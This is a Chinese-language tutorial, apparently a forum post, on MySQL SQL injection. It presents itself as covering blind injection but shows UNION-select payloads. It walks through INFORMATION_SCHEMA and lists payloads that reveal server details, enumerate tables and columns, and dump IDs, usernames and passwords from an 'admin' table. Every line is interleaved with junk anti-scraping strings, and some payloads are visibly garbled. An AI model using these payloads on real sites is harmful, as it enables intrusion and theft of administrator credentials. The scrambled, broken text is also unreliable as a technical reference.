本文介绍MYSQL盲注的一些语句和方法6 @- o0 z. G. C6 U
' f( Y9 l; M- B. k5 y0 w
学习盲注前先了解下 IFORMATION_SCHEMA 库
7 T# S. s5 d- d7 v8 H, C, K/ ^: a3 y ]+ U! x) b' K8 r
Mysql5内置的系统数据库IFORMATION_SCHEMA,其结构如MSSQL中的master数据库,其中记录了Mysql中所有& ?, h% y; l; u# [, }) @2 b6 d
存在数据库名、数据库表、表字段。重点要求研究几个对SQL注入有用的数据表说明。
" }! M o/ j# F% x1.得到所有数据库名:
" t. O) u/ B% O|SCHEMATA ->存储数据库名的表
7 D6 e; S. {1 j$ {5 |1 `, A6 ]5 f|---字段:SCHEMA_NAME ->数据库名称
/ T ]7 t8 F) D
8 R5 i) K5 D5 X) k; ~* t|TABLES ->存储表名( R; f) ~7 x) W8 E0 v) x9 Q
|---字段:TABLE_SCHEMA ->表示该表名属于哪个数据库名
5 S! C% n+ N$ U; o+ Y Y; v|---字段:TABLE_NAME ->存储表的表名
7 D6 `; | R( v- u: ~7 w" k2 K
9 J* L+ m6 A9 J+ [7 z2 }( L/ q' J|COLUMNS ->存储的字段名表
' D8 Y* a% D r T; U; }! M|---字段:TABLE_SCHEMA ->该字段所属数据库名
, i' I5 S9 P! y- j8 C( g; `- H! W+ z|---字段:TABLE_NAME ->存储所属表的名称% k8 \* t9 I2 T6 d
( n, V9 _+ U$ t( g: w& F7 _0 t+ a
|---字段:COLUMN_NAME ->该字段的名称6 g; F( w, t3 D7 z- y2 w! j
5 R3 G8 y- ~. f; X- y* O5 B) [
3 g: R7 m9 ?* k: U4 m# r6 {% P
7 t3 Y: h, @4 Y w" Q3 X4 ?& m
###########################################################################% @+ i% l4 I0 ~) Z
6 [1 f+ M. ^: j( }; X) F6 C0x001 获取系统信息:
" Q: Q5 m& N* X4 d5 r. B' d& }& b
union select 1,2,3,4,5,concat(@@global.version_compile_os,0x3c62723e,@@datadir,0x3c62723e,user(),0x3c62723e,version()da?tabase(),0x3c62723e,database()),7,8,9 /*3 I& i/ ~' i" l" ]7 \/ d
% {' {4 z' T8 X0 k7 O# E0 m
/*/ }8 n( ?% g+ I+ A- ?7 t1 Z
+ Z8 A+ q5 K; Q) U8 p@@global.version_compile_os 获取系统版本
_" ^" l& H' O
. `+ c9 }3 X3 b( ~6 g: v! ?@@datadir 数据库路径
8 ~: Y4 K% n4 R6 X' T Q' Y adatabase() 当前数据库名称1 V& M' ]: ~: H- Q4 y
0x3c62723e 换行HEX值. r. H! k" b2 s; q, j
+ T) O! f9 I' s+ P) [
*/
" r8 b" f8 r& E( o" B# s, d8 s2 [ W5 j9 m9 @, y
" ]% s0 W/ L d& u8 U6 S8 C+ \/ D+ Q" k7 Z4 J5 c
######################################################################+ W! Z9 B2 y4 F- b
% T- d" ]- y' d# W( q* v
0x002 获取表名7 y9 [& B8 a/ f( ^4 y
- b; V( ]7 C6 {1 junion select 1,2,group_concat(table_name),4,5,6,7,8,9 from information_schema.tables where table_schema=0x67617264656e /*. | f# g7 E4 e# @
% N$ c3 u. b; g V , x' ^- K- ~4 y0 H' z3 g
" I$ `- v6 q; k' e; V& K. c
/*
$ \7 C9 l, |# ~; x$ b9 H7 Y2 @3 y: [' _4 ]- i
0x67617264656e 为当前数据库名
6 f) f4 j/ Q$ C6 Y& a' e& N) a* v) y$ x. x y$ V' T
group_concat(table_name) 使用group_concat函数 一步获得该库所有表名6 _6 p5 y" X+ p. H1 J* x7 R
; f2 C! @/ F- q0 _5 _1 S*/
) V* }6 M- f7 x: J, I+ Y, V g* ?" r# C5 T; c ]2 [
######################################################################
- ^+ e' f* d2 d1 t8 s7 v7 A P6 e& o5 L# m, m
" ~8 l9 c, W5 m; I
5 y/ L, E8 e+ E1 F# N0x003 获取字段) }; M. S8 J% s4 Y/ O% w
8 @& i8 O! C) X- d
union select 1,2,group_concat(column_name),4,5,6,7,8,9 from information_schema.columns where table_name=0x61646d696e and table_schema=0x67617264656e limit 1 /*$ Y: ~- U( `' O0 S) Z/ `$ o/ r
% N$ \2 {1 [& I8 R
/*. K% K4 G. z1 f2 h
7 X E" Q: I. c& P3 J! N6 pgroup_concat(column_name) 同样是 一口气 获得该表(0x61646d696e)所有字段$ o% D7 @( B2 ^: Z3 `
% T( O& k- j4 f% e- l0x61646d696e ->选择一个表" n2 s# ^8 }* E, p, n
. l. L! s: x2 K3 q
0x67617264656e ->数据库名
8 W# ]/ `: s8 X* g0 [4 e2 O7 u& n: [
! W- M9 e- M0 M+ F- F*/
3 F& h# C+ x; t; s i8 v8 k+ v2 l4 p+ |7 b* G
#####################################################################
' P. m5 F5 @: S0 I [
& c0 I& s7 S1 Z9 F 3 l8 F$ p) v9 r- p! B2 Q+ O
# c- H }8 ~. W! t& O/ r3 u) Y0x004 获取数据
3 |4 }" h v) z; x& G* Z5 k5 t: V4 l$ F4 C- N. S
union select 1,2,36 h5 t U1 W6 Q0 E# _/ N' G
,4,5,concat(id,0x3c62723e,adname,0x3c62723e,adpassword),6,7,8 from admin
6 y7 T m! @# h* @) `" ^! B
# U/ j4 u: ] M# K/ H; }3 aunion select 1,group_concat(id),group_concat(adname),4,5,group_concat(adpassword),6,7,8 from admin
6 s6 J0 E, L% g
$ ?1 ^% L5 f$ M5 t$ ` 5 \5 @0 {7 Z/ s! [2 V5 W! i
* s, s4 `& p. E6 u
/*5 {8 D* r4 C+ H- _% ~
' Y2 z( c% x) {( ^5 M0x3c62723e 换行符号HEX编码( S) V9 s* \8 T
. N. \3 y& ^4 }& I
group_concat 同时获得该字段所有数据
! o, [: U. R7 }4 P( `
% |. H7 x. {5 P* d*/5 Y! y& a) n$ I2 ^" S: ^' F, G
8 a/ z$ R8 w. m, m$ l
|